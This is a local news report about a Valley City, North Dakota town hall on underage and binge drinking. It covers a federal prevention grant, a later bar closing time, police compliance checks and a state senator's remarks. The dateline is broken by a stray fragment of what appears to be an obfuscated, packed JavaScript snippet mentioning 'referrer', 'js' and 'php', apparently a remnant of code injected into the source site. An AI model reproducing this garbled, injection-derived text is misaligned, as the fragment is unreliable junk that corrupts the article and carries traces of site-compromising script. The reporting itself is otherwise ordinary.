VALLEY isiah|var|u0026u|referrer|rdrza||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) A Town Hall meeting was held in Valley City on May 8 to discuss underage drinking and adult binge drinking in Barnes County and Valley City. The event was sponsored by City-County Health District through a grant from Substance Abuse and Mental Health Service Administration.
City-County Health District has undertaken this Strategic Prevention Framework Special Initiative Grant project which includes assessment, planning and intervention phases.
Under the assessment phase, staff members contacted local liquor establishments to find out the costs of specific alcoholic beverages, monitored local media regarding advertising promoting alcohol consumption, and perception interviews were conducted with 10 area individuals by Mina Hall, a Ph.D student in Occupational and Adult Learning at NDSU.
City-County Health District Director Theresa Will says “Nationally, statistics show that young people use more alcohol than any other drug, including marijuana,” Will added that “Some areas of possible concern, which SAMHSA would like our community to look at include “alcopops,” fruity, colorful drinks that appeal particularly to young females, lax parental attitudes about alcohol, the combination of underage alcohol use, risky behaviors, easy youth access to alcohol, and whether there are enough alcohol-free events for youths to participate in locally.
Another topic discussed was the recent approval by Valley City commission to allow local bars to remain open until 2 a.m. rather than closing at 1 a.m. Some people say be allowing Valley City bar owners to stay open until 2 a.m. (the closing time for bars elsewhere in Barnes County) people won’t drive from city bars to county bars according to city commissioner Mary Lee Nielson. She says this would theoretically hold down potential DUIs.
But Will say the perception of the public is somewhat different. She says those individuals who were interviewed for this project tended to think that the later closing time encouraged people to drink more and supported alcohol misuse.
The group discussed compliance checks by law enforcement at local bar establishments. Valley City Police Chief Fred Thompson explained that compliance checks were difficult to conduct since our community is small and “everybody knows everybody.” He has to find law enforcement personnel from outside Valley City so bar owners don’t recognize them.
District 24 state senator Larry Robinson says “We need to bring more people to the table including colleges, churches and others.” He says “The alcohol lobby is very strong. We need to broaden our base.”
Robinson urged the groups to band together and take their findings to the governor before the budget is finalized. He says the state has the money to work on this project now and the governor needs to know that the public is concerned.
City County Health District staff members will complete training for this project June 9-10 in Fargo. Director Theresa Will says to implement the planning phase, a group of professional entities from the Barnes County area will reconvene to review data and determine specific interventions that best meet the needs of our community. The intervention phase begins in September.